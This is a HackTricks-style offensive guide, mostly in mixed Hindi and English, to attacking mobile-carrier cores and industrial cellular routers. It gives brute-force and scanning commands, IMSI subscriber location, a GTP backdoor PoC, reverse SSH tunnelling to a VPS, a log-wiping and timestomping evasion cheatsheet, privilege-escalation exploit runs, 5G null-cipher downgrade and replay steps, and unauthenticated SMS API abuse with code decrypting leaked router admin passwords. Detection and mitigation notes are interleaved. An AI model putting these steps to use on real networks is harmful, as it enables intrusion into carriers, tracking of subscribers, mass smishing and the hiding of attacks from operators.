Telecom Network Exploitation (GTP / Roaming Environments)

Reading time: 16 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

note

Mobile-core protocols (GPRS Tunnelling Protocol – GTP) अक्सर semi-trusted GRX/IPX roaming backbones के माध्यम से गुजरते हैं। क्योंकि वे लगभग बिना authentication के plain UDP पर चलते हैं, any foothold inside a telecom perimeter can usually reach core signalling planes directly। निम्नलिखित नोट्स उन offensive tricks को संकलित करते हैं जो वास्तविक दुनिया में SGSN/GGSN, PGW/SGW और अन्य EPC nodes के खिलाफ देखी गईं।

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

काफी बड़ी संख्या में vendor network elements hard-coded SSH/Telnet users के साथ आती हैं, जैसे root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … एक dedicated wordlist brute-force सफलता को नाटकीय रूप से बढ़ाता है:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

यदि डिवाइस केवल management VRF प्रदर्शित करता है, तो पहले jump host के माध्यम से pivot करें (नीचे दिए गए सेक्शन «SGSN Emu Tunnel» देखें)।

1.2 होस्ट डिस्कवरी (GRX/IPX के भीतर)

अधिकांश GRX ऑपरेटर अभी भी बैकबोन पर ICMP echo की अनुमति देते हैं। तेज़ी से GTP-C listeners को मैप करने के लिए masscan को बिल्ट-इन gtpv1 UDP probes के साथ मिलाएँ:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. सदस्यों की सूची बनाना – cordscan

निम्नलिखित Go टूल GTP-C Create PDP Context Request पैकेट बनाता है और प्रतिक्रियाओं को लॉग करता है। प्रत्येक उत्तर क्वेरी किए गए IMSI को सेवा देने वाले वर्तमान SGSN / MME का खुलासा करता है और कभी-कभी सदस्य द्वारा विज़िट किया गया PLMN भी।

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

मुख्य फ़्लैग:

  • --imsi लक्ष्य सब्सक्राइबर IMSI
  • --oper होम / HNI (MCC+MNC)
  • -w कच्चे पैकेट pcap में लिखें

बाइनरी के अंदर महत्वपूर्ण constants को स्कैन बढ़ाने के लिए पैच किया जा सकता है:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. GTP पर कोड निष्पादन – GTPDoor

GTPDoor एक छोटा ELF सर्विस है जो UDP 2123 पर bind करता है और आने वाले हर GTP-C packet को parse करता है। जब payload किसी pre-shared tag से शुरू होता है, तो बाकी हिस्सा AES-128-CBC के साथ decrypt किया जाता है और /bin/sh -c के जरिए execute किया जाता है। stdout/stderr को Echo Response संदेशों के अंदर exfiltrate किया जाता है ताकि कोई outward session कभी बनाया ही न जाए।

न्यूनतम PoC पैकेट (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

डिटेक्शन:

  • कोई भी होस्ट जो SGSN IPs को unbalanced Echo Requests भेज रहा हो
  • GTP version flag 1 पर सेट जबकि message type = 1 (Echo) — spec से विचलन

4. Pivoting — कोर के माध्यम से

4.1 sgsnemu + SOCKS5

OsmoGGSN एक SGSN emulator प्रदान करता है जो वास्तविक GGSN/PGW की ओर establish a PDP context towards a real GGSN/PGW करने में सक्षम है। एक बार नेगोशिएट हो जाने पर, Linux को एक नया tun0 इंटरफ़ेस मिलता है जिसे roaming peer से पहुँचा जा सकता है।

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

सही firewall hair-pinning के साथ, यह tunnel signalling-only VLANs को बायपास कर देता है और आपको सीधे data plane में पहुँचा देता है।

4.2 SSH Reverse Tunnel over Port 53

रूमिंग इन्फ्रास्ट्रक्चर में DNS लगभग हमेशा खुला रहता है। अपने VPS पर :53 पर सुनने वाला एक आंतरिक SSH service एक्सपोज़ करें और बाद में घर से वापस कनेक्ट करें:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

सुनिश्‍चित करें कि GatewayPorts yes VPS पर सक्षम है।

5. गुप्त चैनल

चैनलट्रांसपोर्टडिकोडिंगनोट्स
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)पूर्णतः निष्क्रिय श्रोता, कोई बाहरी ट्रैफ़िक नहीं
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octetsदेखता है *.nodep सब-डोमेन
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEवैध GTP-C बातचीत में घुलमिल जाता है

सभी implants ऐसे watchdogs लागू करते हैं जो उनकी बाइनरीज़ पर timestomp करते हैं और क्रैश होने पर पुनः spawn हो जाते हैं।

6. Defense Evasion चीटशीट

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Legacy NE पर Privilege Escalation

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

साफ-सफाई सुझाव:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Tool Box

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – कस्टम टूलिंग पिछली सेक्षन्स में वर्णित।
  • FScan : intranet TCP स्कैन (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

5G रजिस्ट्रेशन प्रोसिजर NAS (Non-Access Stratum) पर NGAP के ऊपर चलता है। जब तक NAS security को Security Mode Command/Complete द्वारा सक्रिय नहीं किया जाता, initial messages unauthenticated और unencrypted रहते हैं। यह pre-security विंडो कई attack paths को सक्षम करती है जब आप N2 ट्रैफ़िक को observe या tamper कर सकते हैं (उदा., core के अंदर on-path, rogue gNB, या testbed)।

Registration flow (simplified):

  • Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
  • Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
  • Security Mode Command/Complete: NAS integrity और ciphering negotiate करके activate होते हैं।
  • PDU Session Establishment: IP/QoS सेटअप।

Lab setup tips (non-RF):

  • Core: Open5GS default deployment flows reproduce करने के लिए पर्याप्त है।
  • UE: simulator या test UE; decode करने के लिए Wireshark का उपयोग करें।
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly बिना पूरा rogue gNB उठाये)।
  • Useful display filters in Wireshark:
    • ngap.procedure_code == 15 (InitialUEMessage)
    • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Expected: UE/USIM को SUCI (home-network public key से encrypted SUPI) ही transmit करना चाहिए। Registration Request में plaintext SUPI/IMSI मिलना एक privacy defect इंगित करता है जो persistent subscriber tracking सक्षम कर सकता है।

How to test:

  • InitialUEMessage में पहला NAS message capture करें और Mobile Identity IE inspect करें।
  • Wireshark quick checks:
    • इसे SUCI के रूप में decode होना चाहिए, न कि IMSI।
    • Filter examples: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci मौजूद होना चाहिए; इसकी अनुपस्थिति और imsi की उपस्थिति leakage को इंगित करती है।

What to collect:

  • यदि exposed हो तो MCC/MNC/MSIN; per-UE लॉग रखें और समय/स्थान के साथ track करें।

Mitigation:

  • SUCI-only UEs/USIMs लागू करें; initial NAS में किसी भी IMSI/SUPI पर alert सेट करें।

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Background:

  • UE Registration Request के UE Security Capability IE में supported EEA (encryption) और EIA (integrity) advertise करता है।
  • Common mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 are null algorithms।

Issue:

  • क्योंकि Registration Request integrity protected नहीं है, on-path attacker capability bits को clear कर सकता है ताकि बाद में Security Mode Command के दौरान EEA0/EIA0 का चयन करवा दिया जाए। कुछ stacks गलती से emergency services के बाहर null algorithms की अनुमति देते हैं।

Offensive steps:

  • InitialUEMessage intercept करें और NAS UE Security Capability modify करके केवल EEA0/EIA0 advertise करवाएँ।
  • Sni5Gect के साथ NAS message hook करें और capability bits patch करके आगे भेजें।
  • देखें कि क्या AMF null ciphers/integrity स्वीकार करता है और EEA0/EIA0 के साथ Security Mode complete करता है।

Verification/visibility:

  • Wireshark में Security Mode Command/Complete के बाद selected algorithms confirm करें।
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

रोकथाम (अनिवार्य):

  • AMF/policy को EEA0/EIA0 को अस्वीकार करने के लिए कॉन्फ़िगर करें सिवाय जहाँ कड़ाई से अनिवार्य हो (उदा., आपातकालीन कॉल)।
  • न्यूनतम पर EEA2/EIA2 को लागू करना वरीयता दें; किसी भी NAS security context पर जो null algorithms पर बातचीत करता है, लॉग और अलार्म करें।

9.3 प्रारंभिक Registration Request का Replay (pre-security NAS)

क्योंकि initial NAS में integrity और freshness नहीं होती, कैप्चर किया गया InitialUEMessage+Registration Request को AMF पर replay किया जा सकता है।

PoC rule for 5GReplay to forward matching replays:

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

  • Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
  • यह देखें कि AMF replay को स्वीकार करता है और Authentication की ओर बढ़ता है; ताज़गी/संदर्भ सत्यापन की कमी जोखिम को दर्शाती है।

Mitigations:

  • Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
  • AMF पर replay protection/context binding लागू करें; प्रति-GNB/UE rate-limit और correlate करें।

9.4 Tooling pointers (reproducible)

  • Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
  • Open5GS: AMF/SMF/UPF चलाकर core का अनुकरण करें; N2 (NGAP) और NAS देखें।
  • Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
  • Wireshark: NGAP/NAS के decode सत्यापित करें; Registration को अलग करने के लिए ऊपर दिए गए filters लागू करें।
  • 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
  • 5GReplay: एक Registration capture करें, फिर rule के अनुसार specific NGAP + NAS messages replay करें।
  • Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
  • Sni5Gect: NAS control-plane को live sniff/modify/inject करें ताकि null algorithms को मजबूर किया जा सके या authentication sequences में perturb किया जा सके।

9.5 Defensive checklist

  • Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
  • लगातार Registration Request को plaintext SUPI/IMSI के लिए निरीक्षण करें; दोषी devices/USIMs को block करें।
  • Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
  • EEA0/EIA0 को केवल सख़्ती से परिभाषित आपातकालीन प्रक्रियाओं को छोड़कर reject करें; कम से कम EEA2/EIA2 आवश्यक करें।
  • Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
  • rogue या misconfigured infrastructure का पता लगाएं: unauthorized gNB/AMF, unexpected N2 peers।
  • Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
  • उन NAS security modes पर alert बनाएं जो null algorithms या InitialUEMessage के बार-बार replay का कारण बनते हैं।

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at /cgi. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.

  • औद्योगिक सेलुलर राउटरों के एक्सपोज़्ड web APIs का दुरुपयोग बड़े पैमाने पर stealthy, carrier-origin smishing को सक्षम करता है। Milesight UR-series राउटर /cgi पर एक JSON-RPC–style endpoint expose करते हैं। जब misconfigured होता है, तो API को authentication के बिना query किया जा सकता है ताकि SMS inbox/outbox सूचीबद्ध किया जा सके और कुछ deployments में SMS भेजने के लिए भी उपयोग किया जा सके।

Typical unauthenticated requests (same structure for inbox/outbox):

http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

प्रतिक्रियाएँ में ऐसे फ़ील्ड शामिल होते हैं जैसे timestamp, content, phone_number (E.164), और status (success या failed)। एक ही नंबर पर बार-बार failed भेजना अक्सर हमलावर के “capability checks” होते हैं ताकि यह सत्यापित किया जा सके कि एक router/SIM डिलीवर कर सकता है या नहीं, उसके बाद blasting किया जाता है।

SMS metadata को exfiltrate करने के लिए curl का उदाहरण:

bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

auth artifacts पर नोट्स:

  • कुछ ट्रैफ़िक में एक auth cookie शामिल हो सकता है, लेकिन जब management interface इंटरनेट-एक्सेसिबल होता है तो अधिकांश खुले डिवाइस बिना किसी authentication के query_inbox/query_outbox का उत्तर देते हैं।
  • ऐसे वातावरणों में जहाँ auth आवश्यक है, previously-leaked credentials (नीचे देखें) फिर से access बहाल कर देती हैं।

क्रेडेंशियल रिकवरी पथ – CVE-2023-43261:

  • प्रभावित फैमिलियाँ: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • समस्या: web-served logs (e.g., httpd.log) /lang/log/ के तहत unauthenticated रूप में पहुँच योग्य हैं और इनमें admin login events होते हैं जिनमें password client-side JavaScript में मौजूद hardcoded AES key/IV का उपयोग करके encrypted होता है।
  • Practical access and decrypt:
bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

leaked पासवर्ड को डिक्रिप्ट करने के लिए Minimal Python (AES-128-CBC, hardcoded key/IV):

python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Hunting and detection ideas (network):

  • अप्रमाणीकृत POST /cgi पर अलर्ट करें जिनके JSON बॉडी में base/function सेट हो query_inbox या query_outbox.
  • एक ही source IP से कई अलग-अलग नंबरों पर दोहराए जा रहे POST /cgi bursts जो बाद में status":"failed" एंट्रियों के साथ हों, उन्हें ट्रैक करें (capability testing).
  • Internet-exposed Milesight routers का inventory बनाएं; management को VPN तक सीमित करें; SMS सुविधाएँ तब तक disable रखें जब तक आवश्यक न हों; ≥ v35.3.0.7 में upgrade करें; credentials rotate करें और अनजान भेजे गए संदेशों के लिए SMS logs की समीक्षा करें।

Shodan/OSINT pivots (examples seen in the wild):

  • http.html:"rt_title" Milesight router panels से मेल खाता है।
  • exposed logs के लिए Google dorking: "/lang/log/system" ext:log.

Operational impact: राउटर्स के अंदर legitimate carrier SIMs के उपयोग से phishing के लिए बहुत उच्च SMS deliverability/credibility मिलती है, जबकि inbox/outbox exposure sensitive metadata को पैमाने पर leaks करता/करती है।


Detection Ideas

  1. SGSN/GGSN के अलावा किसी भी डिवाइस द्वारा Create PDP Context Requests स्थापित करना
  2. Non-standard ports (53, 80, 443) पर internal IPs से SSH handshakes प्राप्त होना
  3. Frequent Echo Requests बिना corresponding Echo Responses के – यह GTPDoor beacons का संकेत हो सकता है।
  4. बड़े, non-zero identifier/sequence fields वाले ICMP echo-reply ट्रैफिक की उच्च दर
  5. 5G: InitialUEMessage जो NAS Registration Requests ले जा रहा है और identical endpoints से दोहराया जा रहा है (replay signal)।
  6. 5G: NAS Security Mode जो EEA0/EIA0 negotiate कर रहा है emergency contexts के बाहर।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें